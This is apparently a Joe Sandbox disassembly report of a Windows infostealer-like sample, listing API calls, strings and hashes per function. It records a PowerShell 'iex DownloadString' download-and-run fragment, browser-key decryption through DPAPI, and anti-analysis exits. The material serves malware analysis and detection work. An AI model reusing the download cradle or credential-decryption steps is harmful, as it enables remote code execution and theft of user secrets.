lstrcat.KERNEL32(?,0064A30C), ref: 023F4A42

Part of subcall function 023F9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 023F9072

lstrcat.KERNEL32(?,00000000), ref: 023F4A68
lstrcat.KERNEL32(?,?), ref: 023F4A87
lstrcat.KERNEL32(?,?), ref: 023F4A9B
lstrcat.KERNEL32(?,0064A284), ref: 023F4AAE
lstrcat.KERNEL32(?,?), ref: 023F4AC2
lstrcat.KERNEL32(?,0064A2C8), ref: 023F4AD6

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023F8FF7: GetFileAttributesA.KERNEL32(00000000,?,023E1DBB,?,?,00425654,?,?,00420E1F), ref: 023F9006

Part of subcall function 023F47D7: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 023F47E7
Part of subcall function 023F47D7: RtlAllocateHeap.NTDLL(00000000), ref: 023F47EE
Part of subcall function 023F47D7: wsprintfA.USER32 ref: 023F480D
Part of subcall function 023F47D7: FindFirstFileA.KERNEL32(?,?), ref: 023F4824

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction ID: dbf2eafc806814f2959be2260baa6a6282e69508660110a3ae42339ebafe6c01
Opcode Fuzzy Hash: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction Fuzzy Hash: F13195BA9402186BCB64FBF0DC84EE9737AAB48700F4045C9B34596080DE749B89CF95

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

<, xrefs: 00412D39
')", xrefs: 00412CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: be724a604eb788cc69cb88ea5721ac6dea3b77e10dbfd579f56e69c65ca0a354
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: be724a604eb788cc69cb88ea5721ac6dea3b77e10dbfd579f56e69c65ca0a354
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 023E1487 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 023E14A5
__aulldiv.LIBCMT ref: 023E14BF
__aulldiv.LIBCMT ref: 023E14CD
ExitProcess.KERNEL32 ref: 023E14FB

Strings

@, xrefs: 023E149A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f8356d2f7b94be1e6d8294d135c95f55c83ff727e7ee81cf20f6eff411784741
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: EC011DB0A51308FAEF20DBD0DC89B9DBBB9AF04705F208448E74A7B6C0D7B499458B55

Function 023EA077 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,00421264,00000003), ref: 023EA094

Part of subcall function 023FAA07: lstrcpy.KERNEL32(?,00000000), ref: 023FAA4D

Part of subcall function 023F0CC7: memset.MSVCRT ref: 023F0E83
Part of subcall function 023F0CC7: lstrcat.KERNEL32(?,00000000), ref: 023F0E9C
Part of subcall function 023F0CC7: lstrcat.KERNEL32(?,00420D7C), ref: 023F0EAE
Part of subcall function 023F0CC7: lstrcat.KERNEL32(?,00000000), ref: 023F0EC4
Part of subcall function 023F0CC7: lstrcat.KERNEL32(?,00420D80), ref: 023F0ED6

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

memcmp.MSVCRT(?,00421114,00000003), ref: 023EA116
memset.MSVCRT ref: 023EA14F
LocalAlloc.KERNEL32(00000040,?), ref: 023EA1A8

Strings

@, xrefs: 023EA158

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @
API String ID: 1977917189-2766056989
Opcode ID: 20785839e506e71d0d4179be974b45f7974db19f2062455c4e4fb0a2237278dd
Instruction ID: 44e0628f85be59c1ea3f4148c466e54de53bcb00eff4fca86413721d7de07929
Opcode Fuzzy Hash: 20785839e506e71d0d4179be974b45f7974db19f2062455c4e4fb0a2237278dd
Instruction Fuzzy Hash: DD613B31600258EBCF24EFA4DD95FED7776AF44704F408118EA0AAB591DB746A09CF51

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0079D410,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 157972442aab98f8943623bffcefb76fc7b802db09b007e8cca3bf4835712916
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: 157972442aab98f8943623bffcefb76fc7b802db09b007e8cca3bf4835712916
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

, xrefs: 00409DC1
"encrypted_key":", xrefs: 00409D30
DPAPI, xrefs: 00409D89

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

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API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 68f47abcc5eb6623e645a076bb0a9bdec2c93405b0c0c50e63f4af5dcb573e5c
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 68f47abcc5eb6623e645a076bb0a9bdec2c93405b0c0c50e63f4af5dcb573e5c
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 023FCDA0 Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32 ref: 023FCDD8
GetCPInfo.KERNEL32(?,?), ref: 023FCDEB
memset.MSVCRT ref: 023FCE03
setSBUpLow.LIBCMT ref: 023FCED9

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValidmemset
String ID:
API String ID: 703783727-0
Opcode ID: a2b74ec6b56f4fd1bb42d268d048981a4065a41abb9520184a3cb1684c992875
Instruction ID: b2f75d74dcd920a18489c51f3f9c99a6838e7ff761513f390b4ba81b22f52721
Opcode Fuzzy Hash: a2b74ec6b56f4fd1bb42d268d048981a4065a41abb9520184a3cb1684c992875
Instruction Fuzzy Hash: 07312631A843999EDBA5CF34E894279FFA49B06315B0999BBDA81CF192D328C405C761

Function 023F6B87 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 023F6BD3
sscanf.NTDLL ref: 023F6C00
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 023F6C19
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 023F6C27
ExitProcess.KERNEL32 ref: 023F6C41

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction ID: f83de1b2ca90fb217f9e6221c4ff08db0a159299eed38be2fe26ce13bc56431f
Opcode Fuzzy Hash: aadf5676f7027d7b9e1150d64898f7b292d6df214c2b0f712edb9653bf63e1a7
Instruction Fuzzy Hash: 9F21CBB5D14209AFCF48EFE4E9459EEB7BAFF48300F04852EE516A3250EB345605CB65

Function 023F8067 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 023F809E
RtlAllocateHeap.NTDLL(00000000), ref: 023F80A5
RegOpenKeyExA.ADVAPI32(80000002,0064A1D4,00000000,00020119,?), ref: 023F80C5
RegQueryValueExA.ADVAPI32(?,0064A4EC,00000000,00000000,000000FF,000000FF), ref: 023F80E6
RegCloseKey.ADVAPI32(?), ref: 023F80F9

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

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API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: ae740cc7fedbb4e5b12f104fbdfdf60e27412d7535cbbe7ce4d3dc4dd6cc2a4e
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: A2113DB5A84209BBD714CFD4ED4AFABB7BDEB05710F104219F615A7680C7B958018BA1

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.ADVAPI32(80000002,00799DE8,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.ADVAPI32(?,007CB6D8,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 023F7987 Relevance: 7.5, APIs: 5, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 023F799B
RtlAllocateHeap.NTDLL(00000000), ref: 023F79A2
RegOpenKeyExA.ADVAPI32(80000002,0064A398,00000000,00020119,023F7920), ref: 023F79C2
RegQueryValueExA.ADVAPI32(023F7920,00420AAC,00000000,00000000,?,000000FF), ref: 023F79E1
RegCloseKey.ADVAPI32(023F7920), ref: 023F79EB

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 4b4d727a02f2f98519c754c7282d4d102258ea03c388ba34f38285b1938617b0
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 6701FFB9A80308BFEB10DFE4DC4AFAEB7B9EB48701F104559FA05A7280D6759A008F51

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(007CAEF0,?,?,?,0041140C,?,007CAEF0,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,007CAEF0,007CAEF0,?,0041140C,?,007CAEF0), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,007CAEF0), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

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API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 023E1507 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 023E151B
RtlAllocateHeap.NTDLL(00000000), ref: 023E1522
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 023E153E
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 023E155C
RegCloseKey.ADVAPI32(?), ref: 023E1566

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: 05fcbacfed76d9212f64dfd6274a6ab5114f1b21e2e416fb56ef3328d3b9ec55
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 210131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA0697280D6749A018F91

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 023FC9A9 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 023FC9B5

Part of subcall function 023FC206: __getptd_noexit.LIBCMT ref: 023FC209
Part of subcall function 023FC206: __amsg_exit.LIBCMT ref: 023FC216

__getptd.LIBCMT ref: 023FC9CC
__amsg_exit.LIBCMT ref: 023FC9DA
__lock.LIBCMT ref: 023FC9EA
__updatetlocinfoEx_nolock.LIBCMT ref: 023FC9FE

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 82266bfdd90354e846418a99e827ba5feeba1708c4c917e9cb387fe0226bacf2
Instruction ID: 1a3dd1e216573c8942db26b851b4c927c326d802ac1e006164913b5c8ab2c61d
Opcode Fuzzy Hash: 82266bfdd90354e846418a99e827ba5feeba1708c4c917e9cb387fe0226bacf2
Instruction Fuzzy Hash: 7FF096729D0718ABDBB0F7A8B402B1E73B2AF04728F10154BDA14A61D0DB255540DF59

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: efdb286082815a34fe65cdf39a39efb78846e04f1ab798c9691acb082f02800f
Instruction ID: 747b7d94d78dcab7bc4ad9ba185e37b4c367e78d81b7dca89f1d9f587bf674ed
Opcode Fuzzy Hash: efdb286082815a34fe65cdf39a39efb78846e04f1ab798c9691acb082f02800f
Instruction Fuzzy Hash: EBF09632A817119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D29E9E

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0079D570), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,0079D690), ref: 00410866
StrCmpCA.SHLWAPI(00000000,0079D5F0), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: ad8dc5e93b182d36aa8816b13cb8526b02303e3c68790e1ea0db99ee73ed39a9
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: ad8dc5e93b182d36aa8816b13cb8526b02303e3c68790e1ea0db99ee73ed39a9
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0079D570), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,0079D690), ref: 00410866
StrCmpCA.SHLWAPI(00000000,0079D5F0), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
